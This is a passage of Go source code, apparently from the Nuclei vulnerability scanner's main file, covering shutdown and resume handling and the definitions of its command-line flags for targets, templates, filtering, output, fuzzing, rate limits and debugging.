saved at %q\", cpuProfileFile.Name())\n\t\t\toptions.Logger.Info().Msgf(\"Memory usage snapshot saved at %q\", memProfileFile.Name())\n\t\t\toptions.Logger.Info().Msgf(\"Traced at %q\", traceFile.Name())\n\t\t}()\n\t}\n\n\toptions.ExecutionId = xid.New().String()\n\n\trunner.ParseOptions(options)\n\n\tif options.ScanUploadFile != \"\" {\n\t\tif err := runner.UploadResultsToCloud(options); err != nil {\n\t\t\toptions.Logger.Fatal().Msgf(\"could not upload scan results to cloud dashboard: %s\\n\", err)\n\t\t}\n\t\treturn\n\t}\n\n\tnucleiRunner, err := runner.New(options)\n\tif err != nil {\n\t\toptions.Logger.Fatal().Msgf(\"Could not create runner: %s\\n\", err)\n\t}\n\tif nucleiRunner == nil {\n\t\treturn\n\t}\n\n\tif options.HangMonitor {\n\t\tstackMonitor := monitor.NewStackMonitor()\n\t\tcancel := stackMonitor.Start(10 * time.Second)\n\t\tdefer cancel()\n\t\tstackMonitor.RegisterCallback(func(dumpID string) error {\n\t\t\tresumeFileName := fmt.Sprintf(\"crash-resume-file-%s.dump\", dumpID)\n\t\t\tif options.EnableCloudUpload {\n\t\t\t\toptions.Logger.Info().Msgf(\"Uploading scan results to cloud...\")\n\t\t\t}\n\t\t\tnucleiRunner.Close()\n\t\t\toptions.Logger.Info().Msgf(\"Creating resume file: %s\\n\", resumeFileName)\n\t\t\terr := nucleiRunner.SaveResumeConfig(resumeFileName)\n\t\t\tif err != nil {\n\t\t\t\treturn errkit.Wrap(err, \"couldn't create crash resume file\")\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t}\n\n\t// Setup filename for graceful exits\n\tresumeFileName := types.DefaultResumeFilePath()\n\tif options.Resume != \"\" {\n\t\tresumeFileName = options.Resume\n\t}\n\tc := make(chan os.Signal, 1)\n\tsignal.Notify(c, os.Interrupt)\n\tgo func() {\n\t\t<-c\n\t\toptions.Logger.Info().Msgf(\"CTRL+C pressed: Exiting\\n\")\n\t\tif options.DASTServer {\n\t\t\tnucleiRunner.Close()\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\toptions.Logger.Info().Msgf(\"Attempting graceful shutdown...\")\n\t\tif options.EnableCloudUpload {\n\t\t\toptions.Logger.Info().Msgf(\"Uploading scan results to cloud...\")\n\t\t}\n\t\tnucleiRunner.Close()\n\t\tif options.ShouldSaveResume() {\n\t\t\toptions.Logger.Info().Msgf(\"Creating resume file: %s\\n\", resumeFileName)\n\t\t\terr := nucleiRunner.SaveResumeConfig(resumeFileName)\n\t\t\tif err != nil {\n\t\t\t\toptions.Logger.Error().Msgf(\"Couldn't create resume file: %s\\n\", err)\n\t\t\t}\n\t\t}\n\t\tos.Exit(1)\n\t}()\n\n\tif err := nucleiRunner.RunEnumeration(); err != nil {\n\t\tif options.Validate {\n\t\t\toptions.Logger.Fatal().Msgf(\"Could not validate templates: %s\\n\", err)\n\t\t} else {\n\t\t\toptions.Logger.Fatal().Msgf(\"Could not run nuclei: %s\\n\", err)\n\t\t}\n\t}\n\tnucleiRunner.Close()\n\t// on successful execution remove the resume file in case it exists\n\tif fileutil.FileExists(resumeFileName) {\n\t\t_ = os.Remove(resumeFileName)\n\t}\n}\n\nfunc readConfig() *goflags.FlagSet {\n\n\t// when true updates nuclei binary to latest version\n\tvar updateNucleiBinary bool\n\tvar pdcpauth string\n\tvar fuzzFlag bool\n\n\tflagSet := goflags.NewFlagSet()\n\tflagSet.CaseSensitive = true\n\tflagSet.SetDescription(`Nuclei is a fast, template based vulnerability scanner focusing\non extensive configurability, massive extensibility and ease of use.`)\n\n\t/* TODO Important: The defined default values, especially for slice/array types are NOT DEFAULT VALUES, but rather implicit values to which the user input is appended.\n\tThis can be very confusing and should be addressed\n\t*/\n\n\tflagSet.CreateGroup(\"input\", \"Target\",\n\t\tflagSet.StringSliceVarP(&options.Targets, \"target\", \"u\", nil, \"target URLs/hosts to scan\", goflags.CommaSeparatedStringSliceOptions),\n\t\tflagSet.StringVarP(&options.TargetsFilePath, \"list\", \"l\", \"\", \"path to file containing a list of target URLs/hosts to scan (one per line)\"),\n\t\tflagSet.StringSliceVarP(&options.ExcludeTargets, \"exclude-hosts\", \"eh\", nil, \"hosts to exclude to scan from the input list (ip, cidr, hostname)\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.StringVar(&options.Resume, \"resume\", \"\", \"resume scan from and save to specified file (clustering will be disabled)\"),\n\t\tflagSet.BoolVarP(&options.ScanAllIPs, \"scan-all-ips\", \"sa\", false, \"scan all the IP's associated with dns record\"),\n\t\tflagSet.StringSliceVarP(&options.IPVersion, \"ip-version\", \"iv\", nil, \"IP version to scan of hostname (4,6) - (default 4)\", goflags.CommaSeparatedStringSliceOptions),\n\t)\n\n\tflagSet.CreateGroup(\"target-format\", \"Target-Format\",\n\t\tflagSet.StringVarP(&options.InputFileMode, \"input-mode\", \"im\", \"list\", fmt.Sprintf(\"mode of input file (%v)\", provider.SupportedInputFormats())),\n\t\tflagSet.BoolVarP(&options.FormatUseRequiredOnly, \"required-only\", \"ro\", false, \"use only required fields in input format when generating requests\"),\n\t\tflagSet.BoolVarP(&options.SkipFormatValidation, \"skip-format-validation\", \"sfv\", false, \"skip format validation (like missing vars) when parsing input file\"),\n\t\tflagSet.BoolVarP(&options.VarsTextTemplating, \"vars-text-templating\", \"vtt\", false, \"enable text templating for vars in input file (only for yaml input mode)\"),\n\t\tflagSet.StringSliceVarP(&options.VarsFilePaths, \"var-file-paths\", \"vfp\", nil, \"list of yaml file contained vars to inject into yaml input\", goflags.CommaSeparatedStringSliceOptions),\n\t)\n\n\tflagSet.CreateGroup(\"templates\", \"Templates\",\n\t\tflagSet.BoolVarP(&options.NewTemplates, \"new-templates\", \"nt\", false, \"run only new templates added in latest nuclei-templates release\"),\n\t\tflagSet.StringSliceVarP(&options.NewTemplatesWithVersion, \"new-templates-version\", \"ntv\", nil, \"run new templates added in specific version\", goflags.CommaSeparatedStringSliceOptions),\n\t\tflagSet.BoolVarP(&options.AutomaticScan, \"automatic-scan\", \"as\", false, \"automatic web scan using wappalyzer technology detection to tags mapping\"),\n\t\tflagSet.StringSliceVarP(&options.Templates, \"templates\", \"t\", nil, \"list of template or template directory to run (comma-separated, file)\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.TemplateURLs, \"template-url\", \"turl\", nil, \"template url or list containing template urls to run (comma-separated, file)\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.StringVarP(&options.AITemplatePrompt, \"prompt\", \"ai\", \"\", \"generate and run template using ai prompt\"),\n\t\tflagSet.StringSliceVarP(&options.Workflows, \"workflows\", \"w\", nil, \"list of workflow or workflow directory to run (comma-separated, file)\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.WorkflowURLs, \"workflow-url\", \"wurl\", nil, \"workflow url or list containing workflow urls to run (comma-separated, file)\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.BoolVar(&options.Validate, \"validate\", false, \"validate the passed templates to nuclei\"),\n\t\tflagSet.BoolVarP(&options.NoStrictSyntax, \"no-strict-syntax\", \"nss\", false, \"disable strict syntax check on templates\"),\n\t\tflagSet.BoolVarP(&options.TemplateDisplay, \"template-display\", \"td\", false, \"displays the templates content\"),\n\t\tflagSet.BoolVar(&options.TemplateList, \"tl\", false, \"list all templates matching current filters\"),\n\t\tflagSet.BoolVar(&options.TagList, \"tgl\", false, \"list all available tags\"),\n\t\tflagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, \"remote-template-domain\", []string{\"cloud.projectdiscovery.io\"}, \"allowed domain list to load remote templates from\"),\n\t\tflagSet.BoolVar(&options.SignTemplates, \"sign\", false, \"signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable\"),\n\t\tflagSet.BoolVar(&options.EnableCodeTemplates, \"code\", false, \"enable loading code protocol-based templates\"),\n\t\tflagSet.BoolVarP(&options.DisableUnsignedTemplates, \"disable-unsigned-templates\", \"dut\", false, \"disable running unsigned templates or templates with mismatched signature\"),\n\t\tflagSet.BoolVarP(&options.EnableSelfContainedTemplates, \"enable-self-contained\", \"esc\", false, \"enable loading self-contained templates\"),\n\t\tflagSet.BoolVarP(&options.EnableGlobalMatchersTemplates, \"enable-global-matchers\", \"egm\", false, \"enable loading global matchers templates\"),\n\t\tflagSet.BoolVar(&options.EnableFileTemplates, \"file\", false, \"enable loading file templates\"),\n\t)\n\n\tflagSet.CreateGroup(\"filters\", \"Filtering\",\n\t\tflagSet.StringSliceVarP(&options.Authors, \"author\", \"a\", nil, \"templates to run based on authors (comma-separated, file)\", goflags.FileNormalizedStringSliceOptions),\n\t\tflagSet.StringSliceVar(&options.Tags, \"tags\", nil, \"templates to run based on tags (comma-separated, file)\", goflags.FileNormalizedStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.ExcludeTags, \"exclude-tags\", \"etags\", nil, \"templates to exclude based on tags (comma-separated, file)\", goflags.FileNormalizedStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.IncludeTags, \"include-tags\", \"itags\", nil, \"tags to be executed even if they are excluded either by default or configuration\", goflags.FileNormalizedStringSliceOptions), // TODO show default deny list\n\t\tflagSet.StringSliceVarP(&options.IncludeIds, \"template-id\", \"id\", nil, \"templates to run based on template ids (comma-separated, file, allow-wildcard)\", goflags.FileNormalizedStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.ExcludeIds, \"exclude-id\", \"eid\", nil, \"templates to exclude based on template ids (comma-separated, file)\", goflags.FileNormalizedStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.IncludeTemplates, \"include-templates\", \"it\", nil, \"path to template file or directory to be executed even if they are excluded either by default or configuration\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.ExcludedTemplates, \"exclude-templates\", \"et\", nil, \"path to template file or directory to exclude (comma-separated, file)\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.ExcludeMatchers, \"exclude-matchers\", \"em\", nil, \"template matchers to exclude in result\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.VarP(&options.Severities, \"severity\", \"s\", fmt.Sprintf(\"templates to run based on severity. Possible values: %s\", severity.GetSupportedSeverities().String())),\n\t\tflagSet.VarP(&options.ExcludeSeverities, \"exclude-severity\", \"es\", fmt.Sprintf(\"templates to exclude based on severity. Possible values: %s\", severity.GetSupportedSeverities().String())),\n\t\tflagSet.VarP(&options.Protocols, \"type\", \"pt\", fmt.Sprintf(\"templates to run based on protocol type. Possible values: %s\", templateTypes.GetSupportedProtocolTypes())),\n\t\tflagSet.VarP(&options.ExcludeProtocols, \"exclude-type\", \"ept\", fmt.Sprintf(\"templates to exclude based on protocol type. Possible values: %s\", templateTypes.GetSupportedProtocolTypes())),\n\t\tflagSet.StringSliceVarP(&options.IncludeConditions, \"template-condition\", \"tc\", nil, \"templates to run based on expression condition\", goflags.StringSliceOptions),\n\t)\n\n\tflagSet.CreateGroup(\"output\", \"Output\",\n\t\tflagSet.StringVarP(&options.Output, \"output\", \"o\", \"\", \"output file to write found issues/vulnerabilities\"),\n\t\tflagSet.BoolVarP(&options.StoreResponse, \"store-resp\", \"sresp\", false, \"store all request/response passed through nuclei to output directory\"),\n\t\tflagSet.StringVarP(&options.StoreResponseDir, \"store-resp-dir\", \"srd\", runner.DefaultDumpTrafficOutputFolder, \"store all request/response passed through nuclei to custom directory\"),\n\t\tflagSet.BoolVar(&options.Silent, \"silent\", false, \"display findings only\"),\n\t\tflagSet.BoolVarP(&options.NoColor, \"no-color\", \"nc\", false, \"disable output content coloring (ANSI escape codes)\"),\n\t\tflagSet.BoolVarP(&options.JSONL, \"jsonl\", \"j\", false, \"write output in JSONL(ines) format\"),\n\t\tflagSet.BoolVarP(&options.JSONRequests, \"include-rr\", \"irr\", true, \"include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use `-omit-raw`]\"),\n\t\tflagSet.BoolVarP(&options.OmitRawRequests, \"omit-raw\", \"or\", false, \"omit request/response pairs in the JSON, JSONL, Markdown, and PDF outputs (for findings only)\"),\n\t\tflagSet.BoolVarP(&options.OmitTemplate, \"omit-template\", \"ot\", false, \"omit encoded template in the JSON, JSONL output\"),\n\t\tflagSet.BoolVarP(&options.NoMeta, \"no-meta\", \"nm\", false, \"disable printing result metadata in cli output\"),\n\t\tflagSet.BoolVarP(&options.Timestamp, \"timestamp\", \"ts\", false, \"enables printing timestamp in cli output\"),\n\t\tflagSet.StringVarP(&options.ReportingDB, \"report-db\", \"rdb\", \"\", \"nuclei reporting database (always use this to persist report data)\"),\n\t\tflagSet.BoolVarP(&options.MatcherStatus, \"matcher-status\", \"ms\", false, \"display match failure status\"),\n\t\tflagSet.StringVarP(&options.MarkdownExportDirectory, \"markdown-export\", \"me\", \"\", \"directory to export results in markdown format\"),\n\t\tflagSet.StringVarP(&options.SarifExport, \"sarif-export\", \"se\", \"\", \"file to export results in SARIF format\"),\n\t\tflagSet.StringVarP(&options.JSONExport, \"json-export\", \"je\", \"\", \"file to export results in JSON format\"),\n\t\tflagSet.StringVarP(&options.JSONLExport, \"jsonl-export\", \"jle\", \"\", \"file to export results in JSONL(ine) format\"),\n\t\tflagSet.StringVarP(&options.PDFExport, \"pdf-export\", \"pe\", \"\", \"file to export results in PDF format\"),\n\t\tflagSet.StringSliceVarP(&options.Redact, \"redact\", \"rd\", nil, \"redact given list of keys from query parameter, request header and body\", goflags.CommaSeparatedStringSliceOptions),\n\t)\n\n\tflagSet.CreateGroup(\"configs\", \"Configurations\",\n\t\tflagSet.StringVar(&cfgFile, \"config\", \"\", \"path to the nuclei configuration file\"),\n\t\tflagSet.StringVarP(&templateProfile, \"profile\", \"tp\", \"\", \"template profile config file to run\"),\n\t\tflagSet.BoolVarP(&options.ListTemplateProfiles, \"profile-list\", \"tpl\", false, \"list community template profiles\"),\n\t\tflagSet.BoolVarP(&options.FollowRedirects, \"follow-redirects\", \"fr\", false, \"enable following redirects for http templates\"),\n\t\tflagSet.BoolVarP(&options.FollowHostRedirects, \"follow-host-redirects\", \"fhr\", false, \"follow redirects on the same host\"),\n\t\tflagSet.IntVarP(&options.MaxRedirects, \"max-redirects\", \"mr\", 10, \"max number of redirects to follow for http templates\"),\n\t\tflagSet.BoolVarP(&options.DisableRedirects, \"disable-redirects\", \"dr\", false, \"disable redirects for http templates\"),\n\t\tflagSet.StringVarP(&options.ReportingConfig, \"report-config\", \"rc\", \"\", \"nuclei reporting module configuration file\"), // TODO merge into the config file or rename to issue-tracking\n\t\tflagSet.StringSliceVarP(&options.CustomHeaders, \"header\", \"H\", nil, \"custom header/cookie to include in all http request in header:value format (cli, file)\", goflags.FileStringSliceOptions),\n\t\tflagSet.RuntimeMapVarP(&options.Vars, \"var\", \"V\", nil, \"custom vars in key=value format\"),\n\t\tflagSet.StringVarP(&options.ResolversFile, \"resolvers\", \"r\", \"\", \"file containing resolver list for nuclei\"),\n\t\tflagSet.BoolVarP(&options.SystemResolvers, \"system-resolvers\", \"sr\", false, \"use system DNS resolving as error fallback\"),\n\t\tflagSet.BoolVarP(&options.DisableClustering, \"disable-clustering\", \"dc\", false, \"disable clustering of requests\"),\n\t\tflagSet.BoolVar(&options.OfflineHTTP, \"passive\", false, \"enable passive HTTP response processing mode\"),\n\t\tflagSet.BoolVarP(&options.ForceAttemptHTTP2, \"force-http2\", \"fh2\", false, \"force http2 connection on requests\"),\n\t\tflagSet.BoolVarP(&options.EnvironmentVariables, \"env-vars\", \"ev\", false, \"enable environment variables to be used in template\"),\n\t\tflagSet.StringVarP(&options.ClientCertFile, \"client-cert\", \"cc\", \"\", \"client certificate file (PEM-encoded) used for authenticating against scanned hosts\"),\n\t\tflagSet.StringVarP(&options.ClientKeyFile, \"client-key\", \"ck\", \"\", \"client key file (PEM-encoded) used for authenticating against scanned hosts\"),\n\t\tflagSet.StringVarP(&options.ClientCAFile, \"client-ca\", \"ca\", \"\", \"client certificate authority file (PEM-encoded) used for authenticating against scanned hosts\"),\n\t\tflagSet.BoolVarP(&options.ShowMatchLine, \"show-match-line\", \"sml\", false, \"show match lines for file templates, works with extractors only\"),\n\t\tflagSet.BoolVar(&options.ZTLS, \"ztls\", false, \"use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default\"), //nolint:all\n\t\tflagSet.StringVar(&options.SNI, \"sni\", \"\", \"tls sni hostname to use (default: input domain name)\"),\n\t\tflagSet.DurationVarP(&options.DialerKeepAlive, \"dialer-keep-alive\", \"dka\", 0, \"keep-alive duration for network requests.\"),\n\t\tflagSet.BoolVarP(&options.AllowLocalFileAccess, \"allow-local-file-access\", \"lfa\", false, \"allows file (payload) access anywhere on the system\"),\n\t\tflagSet.BoolVarP(&options.RestrictLocalNetworkAccess, \"restrict-local-network-access\", \"lna\", false, \"blocks connections to the local / private network\"),\n\t\tflagSet.StringVarP(&options.Interface, \"interface\", \"i\", \"\", \"network interface to use for network scan\"),\n\t\tflagSet.StringVarP(&options.AttackType, \"attack-type\", \"at\", \"\", \"type of payload combinations to perform (batteringram,pitchfork,clusterbomb)\"),\n\t\tflagSet.StringVarP(&options.SourceIP, \"source-ip\", \"sip\", \"\", \"source ip address to use for network scan\"),\n\t\tflagSet.IntVarP(&options.ResponseReadSize, \"response-size-read\", \"rsr\", 0, \"max response size to read in bytes\"),\n\t\tflagSet.IntVarP(&options.ResponseSaveSize, \"response-size-save\", \"rss\", unitutils.Mega, \"max response size to read in bytes\"),\n\t\tflagSet.CallbackVar(resetCallback, \"reset\", \"reset removes all nuclei configuration and data files (including nuclei-templates)\"),\n\t\tflagSet.BoolVarP(&options.TlsImpersonate, \"tls-impersonate\", \"tlsi\", false, \"enable experimental client hello (ja3) tls randomization\"),\n\t\tflagSet.StringVarP(&options.HttpApiEndpoint, \"http-api-endpoint\", \"hae\", \"\", \"experimental http api endpoint\"),\n\t)\n\n\tflagSet.CreateGroup(\"interactsh\", \"interactsh\",\n\t\tflagSet.StringVarP(&options.InteractshURL, \"interactsh-server\", \"iserver\", \"\", fmt.Sprintf(\"interactsh server url for self-hosted instance (default: %s)\", client.DefaultOptions.ServerURL)),\n\t\tflagSet.StringVarP(&options.InteractshToken, \"interactsh-token\", \"itoken\", \"\", \"authentication token for self-hosted interactsh server\"),\n\t\tflagSet.IntVar(&options.InteractionsCacheSize, \"interactions-cache-size\", 5000, \"number of requests to keep in the interactions cache\"),\n\t\tflagSet.IntVar(&options.InteractionsEviction, \"interactions-eviction\", 60, \"number of seconds to wait before evicting requests from cache\"),\n\t\tflagSet.IntVar(&options.InteractionsPollDuration, \"interactions-poll-duration\", 5, \"number of seconds to wait before each interaction poll request\"),\n\t\tflagSet.IntVar(&options.InteractionsCoolDownPeriod, \"interactions-cooldown-period\", 5, \"extra time for interaction polling before exiting\"),\n\t\tflagSet.BoolVarP(&options.NoInteractsh, \"no-interactsh\", \"ni\", false, \"disable interactsh server for OAST testing, exclude OAST based templates\"),\n\t)\n\n\tflagSet.CreateGroup(\"fuzzing\", \"Fuzzing\",\n\t\tflagSet.StringVarP(&options.FuzzingType, \"fuzzing-type\", \"ft\", \"\", \"overrides fuzzing type set in template (replace, prefix, postfix, infix)\"),\n\t\tflagSet.StringVarP(&options.FuzzingMode, \"fuzzing-mode\", \"fm\", \"\", \"overrides fuzzing mode set in template (multiple, single)\"),\n\t\tflagSet.BoolVar(&fuzzFlag, \"fuzz\", false, \"enable loading fuzzing templates (Deprecated: use -dast instead)\"),\n\t\tflagSet.BoolVar(&options.DAST, \"dast\", false, \"enable / run dast (fuzz) nuclei templates\"),\n\t\tflagSet.BoolVarP(&options.DASTServer, \"dast-server\", \"dts\", false, \"enable dast server mode (live fuzzing)\"),\n\t\tflagSet.BoolVarP(&options.DASTReport, \"dast-report\", \"dtr\", false, \"write dast scan report to file\"),\n\t\tflagSet.StringVarP(&options.DASTServerToken, \"dast-server-token\", \"dtst\", \"\", \"dast server token (optional)\"),\n\t\tflagSet.StringVarP(&options.DASTServerAddress, \"dast-server-address\", \"dtsa\", \"localhost:9055\", \"dast server address\"),\n\t\tflagSet.BoolVarP(&options.DisplayFuzzPoints, \"display-fuzz-points\", \"dfp\", false, \"display fuzz points in the output for debugging\"),\n\t\tflagSet.IntVar(&options.FuzzParamFrequency, \"fuzz-param-frequency\", 10, \"frequency of uninteresting parameters for fuzzing before skipping\"),\n\t\tflagSet.StringVarP(&options.FuzzAggressionLevel, \"fuzz-aggression\", \"fa\", \"low\", \"fuzzing aggression level controls payload count for fuzz (low, medium, high)\"),\n\t\tflagSet.StringSliceVarP(&options.Scope, \"fuzz-scope\", \"cs\", nil, \"in scope url regex to be followed by fuzzer\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.OutOfScope, \"fuzz-out-scope\", \"cos\", nil, \"out of scope url regex to be excluded by fuzzer\", goflags.FileCommaSeparatedStringSliceOptions),\n\t)\n\n\tflagSet.CreateGroup(\"uncover\", \"Uncover\",\n\t\tflagSet.BoolVarP(&options.Uncover, \"uncover\", \"uc\", false, \"enable uncover engine\"),\n\t\tflagSet.StringSliceVarP(&options.UncoverQuery, \"uncover-query\", \"uq\", nil, \"uncover search query\", goflags.FileStringSliceOptions),\n\t\tflagSet.StringSliceVarP(&options.UncoverEngine, \"uncover-engine\", \"ue\", nil, fmt.Sprintf(\"uncover search engine (%s) (default shodan)\", uncover.GetUncoverSupportedAgents()), goflags.FileStringSliceOptions),\n\t\tflagSet.StringVarP(&options.UncoverField, \"uncover-field\", \"uf\", \"ip:port\", \"uncover fields to return (ip,port,host)\"),\n\t\tflagSet.IntVarP(&options.UncoverLimit, \"uncover-limit\", \"ul\", 100, \"uncover results to return\"),\n\t\tflagSet.IntVarP(&options.UncoverRateLimit, \"uncover-ratelimit\", \"ur\", 60, \"override ratelimit of engines with unknown ratelimit (default 60 req/min)\"),\n\t)\n\n\tflagSet.CreateGroup(\"rate-limit\", \"Rate-Limit\",\n\t\tflagSet.IntVarP(&options.RateLimit, \"rate-limit\", \"rl\", 150, \"maximum number of requests to send per second\"),\n\t\tflagSet.DurationVarP(&options.RateLimitDuration, \"rate-limit-duration\", \"rld\", time.Second, \"maximum number of requests to send per second\"),\n\t\tflagSet.IntVarP(&options.RateLimitMinute, \"rate-limit-minute\", \"rlm\", 0, \"maximum number of requests to send per minute (DEPRECATED)\"),\n\t\tflagSet.IntVarP(&options.BulkSize, \"bulk-size\", \"bs\", 25, \"maximum number of hosts to be analyzed in parallel per template\"),\n\t\tflagSet.IntVarP(&options.TemplateThreads, \"concurrency\", \"c\", 25, \"maximum number of templates to be executed in parallel\"),\n\t\tflagSet.IntVarP(&options.HeadlessBulkSize, \"headless-bulk-size\", \"hbs\", 10, \"maximum number of headless hosts to be analyzed in parallel per template\"),\n\t\tflagSet.IntVarP(&options.HeadlessTemplateThreads, \"headless-concurrency\", \"headc\", 10, \"maximum number of headless templates to be executed in parallel\"),\n\t\tflagSet.IntVarP(&options.JsConcurrency, \"js-concurrency\", \"jsc\", 120, \"maximum number of javascript runtimes to be executed in parallel\"),\n\t\tflagSet.IntVarP(&options.PayloadConcurrency, \"payload-concurrency\", \"pc\", 25, \"max payload concurrency for each template\"),\n\t\tflagSet.IntVarP(&options.ProbeConcurrency, \"probe-concurrency\", \"prc\", 50, \"http probe concurrency with httpx\"),\n\t\tflagSet.IntVarP(&options.TemplateLoadingConcurrency, \"template-loading-concurrency\", \"tlc\", types.DefaultTemplateLoadingConcurrency, \"maximum number of concurrent template loading operations\"),\n\t)\n\tflagSet.CreateGroup(\"optimization\", \"Optimizations\",\n\t\tflagSet.IntVar(&options.Timeout, \"timeout\", 10, \"time to wait in seconds before timeout\"),\n\t\tflagSet.IntVar(&options.Retries, \"retries\", 1, \"number of times to retry a failed request\"),\n\t\tflagSet.BoolVarP(&options.LeaveDefaultPorts, \"leave-default-ports\", \"ldp\", false, \"leave default HTTP/HTTPS ports (eg. host:80,host:443)\"),\n\t\tflagSet.IntVarP(&options.MaxHostError, \"max-host-error\", \"mhe\", 30, \"max errors for a host before skipping from scan\"),\n\t\tflagSet.StringSliceVarP(&options.TrackError, \"track-error\", \"te\", nil, \"adds given error to max-host-error watchlist (standard, file)\", goflags.FileStringSliceOptions),\n\t\tflagSet.BoolVarP(&options.NoHostErrors, \"no-mhe\", \"nmhe\", false, \"disable skipping host from scan based on errors\"),\n\t\tflagSet.BoolVar(&options.Project, \"project\", false, \"use a project folder to avoid sending same request multiple times\"),\n\t\tflagSet.StringVar(&options.ProjectPath, \"project-path\", os.TempDir(), \"set a specific project path\"),\n\t\tflagSet.BoolVarP(&options.StopAtFirstMatch, \"stop-at-first-match\", \"spm\", false, \"stop processing HTTP requests after the first match (may break template/workflow logic)\"),\n\t\tflagSet.BoolVar(&options.Stream, \"stream\", false, \"stream mode - start elaborating without sorting the input\"),\n\t\tflagSet.EnumVarP(&options.ScanStrategy, \"scan-strategy\", \"ss\", goflags.EnumVariable(0), \"strategy to use while scanning(auto/host-spray/template-spray)\", goflags.AllowdTypes{\n\t\t\tscanstrategy.Auto.String():          goflags.EnumVariable(0),\n\t\t\tscanstrategy.HostSpray.String():     goflags.EnumVariable(1),\n\t\t\tscanstrategy.TemplateSpray.String(): goflags.EnumVariable(2),\n\t\t}),\n\t\tflagSet.DurationVarP(&options.InputReadTimeout, \"input-read-timeout\", \"irt\", time.Duration(3*time.Minute), \"timeout on input read\"),\n\t\tflagSet.BoolVarP(&options.DisableHTTPProbe, \"no-httpx\", \"nh\", false, \"disable httpx probing for non-url input\"),\n\t\tflagSet.BoolVar(&options.DisableStdin, \"no-stdin\", false, \"disable stdin processing\"),\n\t)\n\n\tflagSet.CreateGroup(\"headless\", \"Headless\",\n\t\tflagSet.BoolVar(&options.Headless, \"headless\", false, \"enable templates that require headless browser support (root user on Linux will disable sandbox)\"),\n\t\tflagSet.IntVar(&options.PageTimeout, \"page-timeout\", 20, \"seconds to wait for each page in headless mode\"),\n\t\tflagSet.BoolVarP(&options.ShowBrowser, \"show-browser\", \"sb\", false, \"show the browser on the screen when running templates with headless mode\"),\n\t\tflagSet.StringSliceVarP(&options.HeadlessOptionalArguments, \"headless-options\", \"ho\", nil, \"start headless chrome with additional options\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.BoolVarP(&options.UseInstalledChrome, \"system-chrome\", \"sc\", false, \"use local installed Chrome browser instead of nuclei installed\"),\n\t\tflagSet.StringVarP(&options.CDPEndpoint, \"cdp-endpoint\", \"cdpe\", \"\", \"use remote browser via Chrome DevTools Protocol (CDP) endpoint\"),\n\t\tflagSet.BoolVarP(&options.ShowActions, \"list-headless-action\", \"lha\", false, \"list available headless actions\"),\n\t)\n\n\tflagSet.CreateGroup(\"debug\", \"Debug\",\n\t\tflagSet.BoolVar(&options.Debug, \"debug\", false, \"show all requests and responses\"),\n\t\tflagSet.BoolVarP(&options.DebugRequests, \"debug-req\", \"dreq\", false, \"show all sent requests\"),\n\t\tflagSet.BoolVarP(&options.DebugResponse, \"debug-resp\", \"dresp\", false, \"show all received responses\"),\n\t\tflagSet.StringSliceVarP(&options.Proxy, \"proxy\", \"p\", nil, \"list of http/socks5 proxy to use (comma separated or file input)\", goflags.FileCommaSeparatedStringSliceOptions),\n\t\tflagSet.BoolVarP(&options.ProxyInternal, \"proxy-internal\", \"pi\", false, \"proxy all internal requests\"),\n\t\tflagSet.BoolVarP(&options.ListDslSignatures, \"list-dsl-function\", \"ldf\", false, \"list all supported DSL function signatures\"),\n\t\tflagSet.StringVarP(&options.TraceLogFile, \"trace-log\", \"tlog\", \"\", \"file to write sent requests trace log\"),\n\t\tflagSet.StringVarP(&options.ErrorLogFile, \"error-log\", \"elog\", \"\", \"file to write sent requests error log\"),\n\t\tflagSet.CallbackVar(printVersion, \"version\", \"show nuclei version\"),\n\t\tflagSet.BoolVarP(&options.HangMonitor, \"hang-monitor\", \"hm\", false, \"enable nuclei hang monitoring\"),\n\t\tflagSet.BoolVarP(&options.Verbose, \"verbose\", \"v\", false, \"show verbose output\"),\n\t\tflagSet.StringVar(&memProfile, \"profile-mem\", \"\", \"generate memory (heap) profile & trace files\"),\n\t\tflagSet.BoolVar(&options.VerboseVerbose, \"vv\", false, \"display templates loaded for scan\"),\n\t\tflagSet.BoolVarP(&options.ShowVarDump, \"show-var-dump\", \"svd\", false, \"show variables dump for debugging\"),\n\t\tflagSet.IntVarP(&options.VarDumpLimit, \"var-dump-limit\", \"vdl\", 255, \"limit the number of characters displayed in var dump\"),\n\t\tflagSet.BoolVarP(&options.EnablePprof, \"enable-pprof\", \"ep\", false, \"enable pprof debugging server\"),\n\t\tflagSet.CallbackVarP(printTemplateVersion, \"templates-version\", \"tv\", \"shows the version of the installed nuclei-templates\"),\n\t\tflagSet.BoolVarP(&options.HealthCheck, \"health-check\", \"hc\", false, \"run diagnostic check up\"),\n\t)\n\n\tflagSet.CreateGroup(\"update\", \"Update\",\n\t\tflagSet.BoolVarP(&updateNucleiBinary, \"update\", \"up\", false, \"update nuclei engine to the latest released version\"),\n\t\tflagSet.BoolVarP(&options.UpdateTemplates, \"update-templates\", \"ut\", false, \"update nuclei-templates to latest released version\"),\n\t\tflagSet.StringVarP(&options.NewTemplatesDirectory, \"update-template-dir\", \"ud\", \"\", \"custom directory to install / update nuclei-templates\"),\n\t\tflagSet.CallbackVarP(disableUpdatesCallback, \"disable-update-check\", \"duc\", \"disable automatic nuclei/templates update check\"),\n\t)\n\n\tflagSet.CreateGroup(\"stats\", 